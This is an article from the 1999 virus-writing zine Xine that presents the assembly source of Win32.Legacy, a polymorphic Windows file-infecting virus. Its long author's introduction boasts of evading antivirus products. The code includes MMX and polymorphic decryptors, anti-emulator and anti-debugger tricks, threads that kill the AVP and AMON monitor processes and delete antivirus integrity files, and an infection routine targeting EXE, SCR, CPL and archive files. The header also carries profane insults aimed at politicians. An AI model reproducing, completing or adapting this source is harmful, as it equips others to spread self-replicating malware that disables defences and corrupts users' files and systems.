/-----------------------------\ | Xine - issue #4 - Phile 214 | \-----------------------------/ ; [Win32.Legacy] - MultiThreaded/Poly/EPO/MMX/RDA/AntiAV/PE/RAR/ARJ,etc. ; Copyright (c) 1999 by Billy Belcebu/iKX ; ; [ Introduction ] ; ; This is a polymorphic heavily armoured multitask virus. It's undetectable ; by all the most powerful AVs (August 1999) such as are AVP, NODICE, etc. It ; has two layers of encryption (as my Win32.Thorin), the first one is polymo- ; rphic, made by MMXE v1.01, and the second one is an antidebug/antiemulator ; one, using also MMX opcodes if available. So, this is the world's first vi- ; rus using MMX opcodes, and i am proud of it! :) Well, the polymorphic engi- ; ne has a sorta plug-in, called PHIRE v1.00 that is able to generate a 256 ; polymorphic block of code that will be placed at host entrypoint for pass ; the control to the polymorphic decryptor at the last section. So, it's so- ; mething like an EPO feature. This is also my first virus that infects ; archives (RAR & ARJ). This virus also have RDA features, by means of my new ; engine called iENC, that works with little blocks of code, instead a whole ; virus. There are 13h ;) routines in this virus that are encrypted independe ; ntly from the two normal layers of the virus... It's a great feature :) ; This babe makes my Thorin to seem a joke... It beats Thorin in almost every ; aspect. The only bad point this virus has is, in some extreme cases, the ; speed. I've tried to fix that optimizing a bit the thread execution, and ; its order. Also, i've made the virus to be executed with the highest priori ; ty of execution. So the delay will be minimal (i hope), and in fastest PCs, ; will be unnoticeable. It's possible that this virus has bugs, but in ; all my tests, it worked perfectly. But nothing is perfect. ; ; Well, that's too much for an introduction. Let's see a deeper description ; of all this. ; ; [ Threads ] ; ; The virus' execution is as follows: ; ; INFECTED FILE ÚÄÄÄÄÄÄÄÄÄÄ¿ ; ÚÄÄÄÐÄÄÄ¿ É͵ Thread 1 ³ ÚÄÄÄÄÄÄÄÄÄÄ¿ ; ³ Æ>ÍÍÍÍ» º ÀÄÄÄÄÄÄÄÄÄÄÙ É͵ Thread 2 ³ ; ³ Virus ³ ÚÄÄÄÐÄÄÄÄ¿ º ÉÍÍÍÍÍÍÍÍÍÍÍͼ ÀÄÄÄÄÄÄÄÄÄÄÙ ; ³ ³ ³ Æ>¼ º ÚÄÄÄÄÄÄÄÄÄÄ¿ ; ÀÄÄÄÒÄÄÄÙ ³ Æ>Íͼ É͵ Thread 3 ³ ; º ³ Main Æ>ÍÍÍͼ ÀÄÄÄÄÄÄÄÄÄÄÙ ; º ³ Thread Æ>ÍÍÍÍ» ; º ³ Æ>ÍÍ» º ÚÄÄÄÄÄÄÄÄÄÄ¿ ; º ³ ³ º È͵ Thread 4 ³ ; º ÀÄÄÄÒÄÄÄÄÙ º ÀÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄ¿ ; ÈÍÍÍÍÍÍÍÍ<¼ ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͵ Thread 5 ³ ; ÚÄÄÄÄÄÄÄÄÄÄ¿ ÀÄÄÄÄÒÄÄÄÄÄÙ ; ³ Thread 6 Æ<ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ; ÀÄÄÄÄÄÄÄÄÄÄÙ ; ; Í -> Thread being executed ; ; So, as you can see, the virus body launches a thread, the main thread, and ; the main thread launches 6 threads, and controls their execution flow: the ; first 4 ones are launched and executed at the same time, while the followin ; 2 must follow an order, one after another. Let's see what does each thread: ; ; + Thread 1 : This thread is executed the first, and it consists in a ; loop that terminates the processes of AVP Monitor and ; AMON (monitor of NOD-ICE). ; + Thread 2 : This thread is the anti-debugging one. Application level ; debuggers should die with it. ; + Thread 3 : This thread deletes from the current directory most of ; all the integrity checks of all AV and programs. ; + Thread 4 : This thread hooks all possible APIs from host import ta- ; ble, so it is the PerProcess residence thread. ; + Thread 5 : This thread prepares the virus for infection, setting up ; the directories to infect, etc. ; + Thread 6 : This thread is used for infect in all the retrieved dir- ; ectories all EXE, SCR, CPL, RAR, ARJ files. ; ; Each thread is protected by a SEH handler, so we can handle all the possi- ; ble errors that could happen in their execution. This adds more security to ; the virus, and makes it to become lotsa more robust. ; ; [ Engines ] ; ; This virus features 3 engines: MMXE v1.01, PHIRE v1.00 and iENC v1.00. Lets ; see what will do each one of them: ; ; + MMXE : This engine will generate two decryptors, that will be able ; to decrypt the first encryption layer of the virus (but the ; oly one that is polymorphic). Why two decryptors? Well, the ; execution of one or another depends of the existence of the ; MMX opcodes (i.e. if the CPU is MMX). One of them, the one ; that will be executed firstly, has MMX opcodes used as gar- ; bage, and its decryption operation is also a MMX opcode. ; The second decryptor is an 'ussual' polymorphic one. ; + PHIRE : This is a plug-in for MMXE. It generates a block of 256 by- ; tes of polymorphic code that will be placed at the entrypo- ; in of the host. The particularity of that code is, besides ; the EntryPoint Obscuring (EPO) ability that it gives to the ; virus, is that the generated code will generate an excepti- ; on handler (SEH), for laterly generate a fault, thus bypas- ; sing the control to the handler, that will pass the control ; to the MMXE decryptor. This will stop every known emulator. ; + iENC : The Internal ENCryptor is a RDA encryptor/decryptor that ; brings you the possibility of encrypt/decrypt blocks of ; code inside the virus itself. It's very simple,besides that ; is very useful for annoy a bit more the AV people. And that ; is my target. ; ; [ Decryption ] ; Glossary.- ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿<ÄÄ Host entrypoint POLY#1- PHIRE generated code ; ³ POLY#1 ³ POLY#2- MMXE generated decryptor ; Ã Ä Ä Ä Ä Ä Ä ´Ä¿ Now jump over all the ENCR#3- Second encryption layer ; ³ ³ ³ host code that was not ; ³ REST ³ ³ overwritten till reach ; ³ OF ³ ³ the MMXE layer. ; ³ HOST ³ ³ ; ³ ³ ³ ; Ã Ä Ä Ä Ä Ä Ä ´<Ù ; ³ POLY#2 ³ Now decrypt the next layer ; Ã Ä Ä Ä Ä Ä Ä ´ ; ³ ENCR#3 ³ Final decryption of virus body ; Ã Ä Ä Ä Ä Ä Ä ´ ; ³ VIRUS CODE! ÃÄ> Some independent blocks of this are also encrypted. ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ; ; [ APIs used ] ; ; They are retrieved knowing only their CRC32. This, as you can see, is a ; great saving of bytes. ; ; + KERNEL32.DLL - FindFirstFileA, FindNextFileA, FindClose, ; CreateFileA, DeleteFileA, SetFilePointer, ; SetFileAttributesA, CloseHandle, ; GetCurrentDirectoryA, SetCurrentDirectoryA, ; GetWindowsDirectoryA, GetSystemDirectoryA, ; CreateFileMappingA, MapViewOfFile, ; UnmapViewOfFile,SetEndOfFile,GetProcAddress, ; LoadLibraryA, GetSystemTime, CreateThread, ; WaitForSingleObject,ExitThread,GetTickCount, ; FreeLibrary,WriteFile,GlobalAlloc,GlobalFree, ; GetFileSize, GetFileAttributesA, ReadFile, ; GetCurrentProcess, GetPriorityClass, ; SetPriorityClass ; ; + USER32.DLL - FindWindowA, PostMessageA, MessageBoxA ; + ADVAPI32.DLL - RegCreateKeyExA, RegSetValueExA ; ; [ APIs hooked ] ; ; All these APIs are part of the '@@Hookz' structure (see data zone of virus) ; and they are got from the Import Table only knowing its CRC32. This is a ; nice feature, we save many bytes with it. ; ; + With generic hooker - MoveFileA ; - CopyFileA ; - GetFullPathNameA ; - DeleteFileA ; - WinExec ; - CreateFileA ; - CreateProcessA ; - GetFileAttributesA ; - SetFileAttributesA ; - _lopen ; - MoveFileExA ; - CopyFileExA ; - OpenFile ; ; + With special hooker - GetProcAddress ; - FindFirstFileA ; - FindNextFileA. ; ; [ Features ] ; ; Now here will go the blessed list of what this babe is able to do: ; ; + Infects EXE, SCR and CPL files. ; + Drops an infected file to RAR and ARJ archives (dropper is packed) ; + All targets (EXE/SCR/CPL/RAR/ARJ) are infected if they: ; - are in \WINDOWS directory ; - are in \WINDOWS\SYSTEM directory ; - are in current directory ; - are accessed by one of the hooked functions ; + Obtains API addresses knowing only its CRC32 (ET & IT). ; + EntryPoint Obscuring (EPO), used PHIRE v1.00 ; + Two layers of encryption: ; - MMXE generated decryptor ; - Simple non-poly MMX decryptor, also anti-emulators. ; + Some blocks of code are encrypted (RDA) with iENC v1.00 ; + Anti-Emulation and Anti-Heuristic techniques. ; + Anti-Monitors, kills the process of AVP Monitor and AMON ; + Anti-Debugging (SEH, IsDebuggerPresent, FS:[20h], Threads, SoftICE) ; + MultiThreading (see 'Threads' description above) ; + Per-Process residence (ImportTable/GetProcAddress) ; + Fast infector (FindFirstFileA/FindNextFileA) ; + Kills AV CRC files. ; + Infects all PE without caring about its ImageBase. ; + Avoid problems with .reloc section ; + Able to work under Win95, Win98, WinNT, and Win2k. ; + Payload: Shows a lame messagebox with a lame message, and after it ; makes a little changes in the registry ;) ; ; [ Greetings (random order) ] ; ; + Qozah/29A -> Finally you did it! Win32.Unreal rulez! ; + Benny/29A -> I'll wait for your meta! Btw, bring me a czech beer ; + Vecna -> Pray to the real and only god... yourself! ; + Super/29A -> Thanx for pointing me bugs and optimizations... ; + b0z0/iKX -> I recommend you a padanian band called Lacuna Coil ; + StarZer0/iKX -> What did you say to yer mother for go to Amsterdam? ; + Int13h -> Espero tu carta ansioso! ; + Ypsilon -> Finish VAS goddamit!! ; + GriYo/29A -> El £nico que llama "cagadas" a sus virus :) ; + MDriller/29A -> You help me, i help you... compensation law ;) ; + Owl[FS] -> You'll find the perfect girl for your needs... ; + VirusBust/29A -> Espero que seas feliz con tu nuevo estado civil ;) ; + MrSandman -> Lo mismo te digo... ; + JQwerty -> Aunque nos pese, pues tambien te digo lo mismo ;) ; + Wintermute -> Algun dia entender s a estos mon¢gamos X-D ; + Tcp/29A -> I'll wait for your HLL PE infector :) ; + Rajaat -> The Twisted Nails Of Faith... COF RuleZ! ; + Somniun -> Mandame un mail, please ; + SeptiC -> You'd have my vote... sure! ; + TechnoPhunk/TI-> I recommend you to hear Marilyn Manson... ; + Mandragore -> Mail me pleeeeease ; + TheWizard -> A ver cuando veo algo tuyo pa Win32... ; + Navi/PHYMOSYS -> Y la #9? :) ; + Frontis -> Amo a tu plextor de 8x! ; + nIgr0 -> Yo me jubilare cuando tu entres en algun grupo :) ; + SlageHammer -> Come to Valencia! ; + T-2000 -> I didn't liked to be infected with yer Kriz ;) ; + zAxOn -> Este virus de abajo te va a infectar... ; + Gigabyte[UC] -> What about that VBS worm? ; + Yesna -> PUTA! ; + Lord Julus -> Get a Blind Guardian CD! ; + Hansi Kursch -> I hope you'll be able to compose again soon! ; + J.R.R.Tolkien -> Awesome folklore! ; + Karl Marx -> For give me something to believe in. ; ; [ Fucks ] ; ; + J. M. Aznar -> I'll dance over your grave, fascist sucker ; + E. Zaplana -> Ke haze un tio de murzia presidiendo mi comunidad? ; + J. Gil y Gil -> Tiene una estatua de Franco... no comments. ; + A. Pinochet -> TO PRISON, MOTHERFUCKER! ; + F. Franco -> I'm happy: you're dead ; + A. Hitler -> The worst in all the mankind history ; + S. Milosevic -> The Hitler of our days ; + B. Yeltsin -> Stop drinking vodka! ; + All the USA -> You can control others governments, but not me. ; ; [ Final thoughts ] ; ; This virus (and its possible next versions) will be my last "megainfector". ; I will probably add to it ZIP infection, a compression engine, a code emu- ; lator (that i have almost finished) and more features, but i think i'll ; guide my steps to smaller viruses. For example, i am writing another Ring-0 ; virus, that will feature S&D technology (of course, giving the deserved ; greet to SSR), and i am writing some engines such as a compression one, a ; code emulator, a self-emulated poly engine, and much more. Also, i'm making ; the first steps of the Itxoiten project, building its macros,and developing ; the ITX header. As you can see, i'm really active in coding. I hope i'll be ; able to publish some of that things soon. Of course, i've also almost fini- ; shed my Virus Writing Guide for Win32, that is, at this moment, much bigger ; that its equivalent for MS-DOS. I hope to finish it soon too. Well... now ; it's my time to talk about "my things" :) Ok, ok, i'll tell you about what ; happened me this last week... Firstly (and painly), my beloved Panasonic ; discman (paid with my own money) have broken up... Secondly, my headphones ; of that discman, have also broken up. I think it happened because i have ; recently had a motorbike crash (finishing with myself rolling over the ; fucking road) while hearing music with the discman... And, today, while ; i was going (again) with the motorbike , a fucking bee have bitten me at ; my face (and now my face seems a fucking ball because it). Damn, this week ; hasn't been the best one of my life. I can only now day one thing, that ; only the spanish readers will understand: MEKAGšEN DIOS! Ok, this is enough ; for today... ...Fade to black... ; ; -To code is as sex: one error, and you'll cry the rest of your life- ; (Murphy's law) ; ; (c) 1999 Billy Belcebu/iKX .586p .model flat extrn ShellAboutA:PROC ; Thanx 4 this c00l api, Vecna extrn ExitProcess:PROC TRUE equ 01h FALSE equ 00h DEBUG equ FALSE virus_size equ (offset virus_end-offset virus_start) shit_size equ (offset delta-offset legacy) section_flags equ 00000020h or 20000000h or 80000000h temp_attributes equ 00000080h n_Handles equ 50d WFD_HndSize equ n_Handles*8 n_infections equ 05h mark equ 04Ch ; PE Header where put mark inf_mark equ "YCGL" ; Mark for infected PE's archive_mark equ "GL" ; Mark for infected archives kernel_w9x equ 0BFF70000h ; Win95/98 Kernel kernel_wNT equ 077F00000h ; WinNT kernel kernel_w2k equ 077E00000h ; Win2000 kernel nDay equ 31d ; Day when activate payload nMonth equ 07d ; Month when activate payload Billy_Bel equ 0BBh ; Any problem? :) THREAD_SLEEPING equ 00000000h THREAD_ACTIVE equ 00000001h ; Interesting macros for my code cmp_ macro reg,joff1 ; Optimized version of inc reg ; CMP reg,0FFFFFFFFh jz joff1 ; JZ joff1 dec reg ; The code is reduced in 3 endm ; bytes (7-4) pushs macro string2push local __@@__ call __@@__ db string2push,00h __@@__: endm eosz_edi macro xor al,al scasb jnz $-1 endm apicall macro apioff ; Optimize muthafucka! call dword ptr [ebp+apioff] endm vsize macro db virus_size/10000 mod 10 +"0" db virus_size/01000 mod 10 +"0" db virus_size/00100 mod 10 +"0" db virus_size/00010 mod 10 +"0" db virus_size/00001 mod 10 +"0" endm .data szMessage db "First generation sample",10 db "(C) 1999 Billy Belcebu/iKX",0 ; Don't care about what the people thinks about you; they are too busy ; thinking how to know what do you think of them. (Murphy's law) .code ; <--- ; Below code (until the loop) don't travel with the virus. It putz da correct ; CRC32 of all the code blocks that are going to be encrypted independently ; with iENC... ; ---> legacy1: lea esi,iENC_struc ; Pointer to iENC structure mov ecx,n_iENC_blocks ; Number of code blocks lgcyl00p: lodsw ; Get size of block cwde ; Clear MSW of EAX xchg edi,eax ; EAX = Size lodsw ; Get relative ptr to block cwde ; Clear MSW of EAX add eax,offset virus_start ; RVA >> VA pushad ; Preserve all registers xchg esi,eax ; ESI = Ptr to block call CRC32 ; Get its CRC32 mov [esp.PUSHAD_EBX],eax ; Preserve after POPAD =) popad ; Restore all regs sub eax,08h ; Fix pointer mov [eax],ebx ; Store block's CRC32 loop lgcyl00p ; Repeat the same with all ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ;|| Virus start || ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ; ;ùùùùùùùùùùùùùùùùùùùùùùùù; ; ; ; I wanna die young ; ÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛ ; and sell my soul ; ÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛ ; use up all your drugs ; ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ; and make me come ; ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛÛ ÛÛÛÛÛÛÛÛ ; Yesterday man, ; ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ; i was a nihilist and ; ÛÛÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛ ; now today i'm ; ÛÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛ ; just too fucking bored ; ; ; -I don't like the drugs but the drugs like me- ; -Marilyn Manson- ; ;ùùùùùùùùùùùùùùùùùùùùùùùù; virus_start label byte legacy: db LIMIT dup (90h) ; Space for the poly decryptor pushad ; Push all da shit mov ebx,esp ; Anti NOD-iCE trick push cs pop eax cmp ebx,esp jnz realep call seh_trick ; Kill emulators mov esp,[esp+08h] xor edx,edx pop dword ptr fs:[edx] pop edx jmp improvised_delta decryptor: pop esi ; ESI = Ptr to code to decrypt mov ecx,((offset virus_end-offset crypt)/4) mov ebx,12345678h org $-4 key dd 00000000h mov edi,esi pushad xor eax,eax inc eax cpuid ; Check for MMX presence... bt edx,17h ; bit 17h, please! popad jnc not_mmx ; Damn! @@__??: db 00Fh,06Eh,00Eh ; movd mm1,[esi] db 00Fh,06Eh,0D3h ; movd mm2,ebx db 00Fh,0EFh,0CAh ; pxor mm1,mm2 db 00Fh,07Eh,00Eh ; movd [esi],mm1 add esi,4 ; Get next dword loop @@__?? ; And decrypt it jmp realep ; Jump to unencrypted code not_mmx: lodsd ; Load dword to decrypt xor eax,ebx ; Decrypt it stosd ; Store the decrypted dword loop not_mmx ; And loop until all decrypted jmp realep ; Jump to unencrypted code seh_trick: xor edx,edx push dword ptr fs:[edx] mov fs:[edx],esp dec byte ptr [edx] ; Bye bye emulators jmp realep ; DiE NOD!!! Muahahahah! improvised_delta: call decryptor ; Let me see you stripped... crypt label byte db 00h,"Welcome to the realm of the legacy of kings...",00h realep: call delta ; Hardest code to undestand ;) delta: pop ebp mov eax,ebp sub ebp,offset delta ; EBP = Delta offset sub eax,shit_size ; Obtain at runtime the sub eax,00001000h ; imagebase of the process NewEIP equ $-4 mov dword ptr [ebp+ModBase],eax ; EAX = Process' imagebase pushad call ChangeSEH ; SEH rlz :) mov esp,[esp+08h] ; Fix stack jmp RestoreSEH ; And restore old SEH handler ChangeSEH: xor ebx,ebx ; EBX = 0 push dword ptr fs:[ebx] ; Save old SEH handler mov fs:[ebx],esp ; Set new SEH handler call iENC_decrypt dd 00000000h dd eBlock1-Block1 Block1 label byte mov esi,[esp+48h] ; Get program return address mov ecx,05h ; Limit call GetK32 or eax,eax ; EAX = 0? If so, error... jz RestoreSEH ; Then we go away... mov dword ptr [ebp+kernel],eax ; EAX must be K32 base address lea esi,[ebp+@@NamezCRC32] ; ESI = Pointer to CRC32 array lea edi,[ebp+@@Offsetz] ; EDI = Where put addresses call GetAPIs ; Retrieve all APIs lea edi,[ebp+random_seed] ; Initialize slow random seed push edi apicall _GetSystemTime apicall _GetCurrentProcess ; This virus is slow, so i'm ; looking in this routines push eax ; for the wanted speed mov dword ptr [ebp+CurrentProcessHandle],eax push eax ; Get the original priority apicall _GetPriorityClass ; class mov dword ptr [ebp+OriginalPriorityClass],eax pop ecx xchg eax,ecx ; Fail? Duh! jecxz ErrorCreatingMainThread push 80h ; Set the priority needed for push eax ; a faster execution apicall _SetPriorityClass xor edx,edx lea eax,[ebp+lpThreadId] push eax ; lpThreadId push edx ; dwCreationFlags push ebp ; lpParameter lea eax,[ebp+MainThread] push eax ; lpStartAddress push edx ; dwStackSize push edx ; lpThreadAttributes apicall _CreateThread xchg eax, ecx ; Error? jecxz ErrorCreatingMainThread ; Damn... xor eax,eax ; Wait infinite seconds until dec eax ; main thread is finished push eax ; Push -1 push ecx ; Push main thread handle apicall _WaitForSingleObject eBlock1 label byte push 12345678h ; Put again the original OriginalPriorityClass equ $-4 ; priority of the process for push 12345678h ; avoid suspitions CurrentProcessHandle equ $-4 apicall _SetPriorityClass push WFD_HndSize ; Hook some mem for WFD_Handles push 00000000h ; structure apicall _GlobalAlloc mov dword ptr [ebp+WFD_HndInMem],eax call payload ; Hohohohoho! ErrorCreatingMainThread: or ebp,ebp ; Is 1st gen? jz fakehost ; If so, jump to the fake host RestoreSEH: xor ebx,ebx ; EBX = 0 pop dword ptr fs:[ebx] ; Restore old SEH handler pop eax ; Remove shit from stack popad ; Restore old registers call RestoreOldBytes ; Restore host's 1st bytes popad ; Restore all! mov ebx,12345678h ; C'mon! org $-4 OldEIP dd 00001000h add ebx,12345678h ; It's on! org $-4 ModBase dd 00400000h push ebx ; Pass control to the host ret ; code... ; Justice is lost, justice is raped, justice is gone... ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ;|| Restore the first 256 bytes of the host || ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] RestoreOldBytes: mov edi,dword ptr [ebp+OldEIP] add edi,dword ptr [ebp+ModBase] ; EDI = Ptr to host's EP lea esi,dword ptr [ebp+OldBytes] ; ESI = Ptr to its orig. bytes mov ecx,pLIMIT ; ECX = Bytes to restore rep movsb ; Restore it! ret ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ;|| The main thread of the virus || ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ; ; Higher you are, harder you fall ; MainThread proc PASCAL delta_thread:DWORD mov ebp,delta_thread ; EBP = Delta offset pushad call MT_SetupSEH ; SetUp a new SEH handler mov esp,[esp+08h] jmp MT_RestoreSEH MT_SetupSEH: xor edx,edx push dword ptr fs:[edx] mov fs:[edx],esp call iENC_decrypt dd 00000000h dd eBlock2-Block2 Block2 label byte call GetUsefulInfo ; Retrieve useful info mov ecx,nThreads ; ECX = Number of threads to ; launch lea esi,[ebp+ThreadsTable] ; ESI = Ptr to thread table LoopOfLaunchAllThreads: push ecx ; Preserve ECX xor edx,edx ; EDX = 0 lea eax,[ebp+lpThreadId] push eax ; lpThreadId push edx ; dwCreationFlags push ebp ; lpParameter lodsd add eax,ebp push eax ; lpStartAddress push edx ; dwStackSize push edx ; lpThreadAttributes apicall _CreateThread pop ecx loop LoopOfLaunchAllThreads ; Control loops of all threads inc byte ptr [ebp+TKM_semaphore] ; Init Thread 1 inc byte ptr [ebp+TAD_semaphore] ; Init Thread 2 inc byte ptr [ebp+TDC_semaphore] ; Init Thread 3 inc byte ptr [ebp+TPP_semaphore] ; Init Thread 4 inc byte ptr [ebp+TPI_semaphore] ; Init Thread 5 TAD_CL: cmp byte ptr [ebp+TAD_semaphore],THREAD_SLEEPING jnz TAD_CL ; Wait for Thread 2 end cmp byte ptr [ebp+SoftICE],00h jne TKM_CL TPI_CL: cmp byte ptr [ebp+TPI_semaphore],THREAD_SLEEPING jnz TPI_CL inc byte ptr [ebp+TIF_semaphore] ; Init Thread 6 after Thread 5 TIF_CL: cmp byte ptr [ebp+TIF_semaphore],THREAD_SLEEPING ; ends jnz TIF_CL TKM_CL: cmp byte ptr [ebp+TKM_semaphore],THREAD_SLEEPING jnz TKM_CL ; Wait for Thread 1 end TDC_CL: cmp byte ptr [ebp+TDC_semaphore],THREAD_SLEEPING jnz TDC_CL ; Wait for Thread 3 end TPP_CL: cmp byte ptr [ebp+TPP_semaphore],THREAD_SLEEPING jnz TPP_CL ; Wait for Thread 4 end eBlock2 label byte MT_RestoreSEH: xor edx,edx pop dword ptr fs:[edx] pop edx popad jmp ExitThread MainThread endp ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ;|| This procedure makes the thread that call it to be closed || ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ExitThread: push 00h apicall _ExitThread ret ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ;|| Thread used for kill TSR monitors (AVP & NOD) || ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ThrKillMonitors proc PASCAL delta_thread:DWORD mov ebp,delta_thread xor ecx,ecx TKM_Sleep: mov cl,THREAD_SLEEPING TKM_semaphore equ $-1 jecxz TKM_Sleep pushad call TKM_SetupSEH ; SetUp a SEH handler mov esp,[esp+08h] jmp TKM_RestoreSEH TKM_SetupSEH: xor edx,edx push dword ptr fs:[edx] mov fs:[edx],esp call iENC_decrypt ; Encrypt this block dd 00000000h dd eBlock3-Block3 Block3 label byte lea edi,[ebp+Monitors2Kill] ; EDI = Ptr to array of mons. KM_L00p: call TerminateProc ; Terminate its process eosz_edi ; End Of String of EDI cmp byte ptr [edi],Billy_Bel ; End of array? jnz KM_L00p ; Kewl. eBlock3 label byte TKM_RestoreSEH: xor edx,edx pop dword ptr fs:[edx] pop edx popad and byte ptr [ebp+TKM_semaphore],THREAD_SLEEPING jmp ExitThread ThrKillMonitors endp ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ;|| Thread for kill the application level debuggers || ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ThrAntiDebugger proc PASCAL delta_thread:DWORD mov ebp,delta_thread xor ecx,ecx TAD_Sleep: mov cl,THREAD_SLEEPING TAD_semaphore equ $-1 jecxz TAD_Sleep pushad call TAD_SetupSEH mov esp,[esp+08h] jmp TAD_RestoreSEH TAD_SetupSEH: xor edx,edx push dword ptr fs:[edx] mov fs:[edx],esp call iENC_decrypt dd 00000000h dd eBlock4-Block4 Block4 label byte and byte ptr [ebp+SoftICE],00h ; I'm a SoftICE addict... any problem? :) IF DEBUG ELSE DetectSICE: lea edi,[ebp+Drivers2Avoid] SearchDriverz: xor eax,eax ; This little trick allows push eax ; us to check for drivers, push 00000080h ; so we can check for our push 00000003h ; beloved SoftICE in its push eax ; Win9x and WinNT versions! inc eax push eax push 80000000h or 40000000h push edi apicall _CreateFileA inc eax jz NoDriverFound dec eax push eax apicall _CloseHandle inc byte ptr [ebp+SoftICE] NoDriverFound: eosz_edi cmp byte ptr [edi],Billy_Bel jnz SearchDriverz ENDIF some_antidebug: mov ecx,fs:[20h] ; ECX = Context of debugger jecxz more_antidebug ; If ECX<>0, we're debugged jmp hangit more_antidebug: pushs "IsDebuggerPresent" push dword ptr [ebp+kernel] apicall _GetProcAddress xchg eax,ecx ; Same than above, but API jecxz TAD_Exit ; based call ecx xchg eax,ecx jecxz TAD_Exit hangit: xor esp,esp ; Hahahahah! DiE-DiE-DiE!!! cli call $-1 eBlock4 label byte TAD_Exit: TAD_RestoreSEH: xor edx,edx pop dword ptr fs:[edx] pop edx popad and byte ptr [ebp+TAD_semaphore],THREAD_SLEEPING jmp ExitThread ThrAntiDebugger endp ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ;|| Thread used for delete AV CRC files || ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ThrDeleteCRC proc PASCAL delta_thread:DWORD mov ebp,delta_thread xor ecx,ecx TDC_Sleep: mov cl,THREAD_SLEEPING TDC_semaphore equ $-1 jecxz TDC_Sleep pushad call TDC_SetupSEH mov esp,[esp+08h] jmp TDC_RestoreSEH TDC_SetupSEH: xor edx,edx push dword ptr fs:[edx] mov fs:[edx],esp call iENC_decrypt dd 00000000h dd eBlock5-Block5 Block5 label byte lea edi,[ebp+Files2Kill] ; Load pointer to first file killem: push edi ; Push file to erase apicall _DeleteFileA ; Delete it! eosz_edi cmp byte ptr [edi],Billy_Bel jnz killem eBlock5 label byte TDC_RestoreSEH: xor edx,edx pop dword ptr fs:[edx] pop edx popad and byte ptr [ebp+TDC_semaphore],THREAD_SLEEPING jmp ExitThread ThrDeleteCRC endp ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ;|| Thread used for retrieve all the useful info for infection || ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ThrPrepareInf proc PASCAL delta_thread:DWORD mov ebp,delta_thread xor ecx,ecx TPI_Sleep: mov cl,THREAD_SLEEPING TPI_semaphore equ $-1 jecxz TPI_Sleep pushad call TPI_SetupSEH mov esp,[esp+08h] jmp TPI_RestoreSEH TPI_SetupSEH: xor edx,edx push dword ptr fs:[edx] mov fs:[edx],esp call iENC_decrypt dd 00000000h dd eBlock6-Block6 Block6 label byte lea edi,[ebp+WindowsDir] ; Get windows directory push 7Fh push edi apicall _GetWindowsDirectoryA add edi,7Fh ; Get system directory push 7Fh push edi apicall _GetSystemDirectoryA add edi,7Fh ; Get current directory push edi push 7Fh apicall _GetCurrentDirectoryA eBlock6 label byte TPI_RestoreSEH: xor edx,edx pop dword ptr fs:[edx] pop edx popad and byte ptr [ebp+TPI_semaphore],THREAD_SLEEPING jmp ExitThread ThrPrepareInf endp ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ;|| Thread used for infect files || ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ThrInfectFiles proc PASCAL delta_thread:DWORD mov ebp,delta_thread xor ecx,ecx TIF_Sleep: mov cl,THREAD_SLEEPING TIF_semaphore equ $-1 jecxz TIF_Sleep pushad call TIF_SetupSEH mov esp,[esp+08h] jmp TIF_RestoreSEH TIF_SetupSEH: xor edx,edx push dword ptr fs:[edx] mov fs:[edx],esp call iENC_decrypt dd 00000000h dd eBlock7-Block7 Block7 label byte lea edi,[ebp+directories] ; Pointer to array of dirs mov byte ptr [ebp+mirrormirror],dirs2inf requiem: push edi ; Set it as current apicall _SetCurrentDirectoryA push edi ; Preserve that pointer lea esi,[ebp+Extensions_Table] ; Pointer to exts table mov ecx,nExtensions DirInf: lea edi,[ebp+EXTENSION] ; Ptr to active extension movsd ; Put next one pushad call Infect ; Infect some filez popad loop DirInf pop edi add edi,7Fh ; Ptr to next dir dec byte ptr [ebp+mirrormirror] ; eeeooo supeeeeeerrr... :) jnz requiem eBlock7 label byte TIF_RestoreSEH: xor edx,edx pop dword ptr fs:[edx] pop edx popad and byte ptr [ebp+TIF_semaphore],THREAD_SLEEPING jmp ExitThread ThrInfectFiles endp 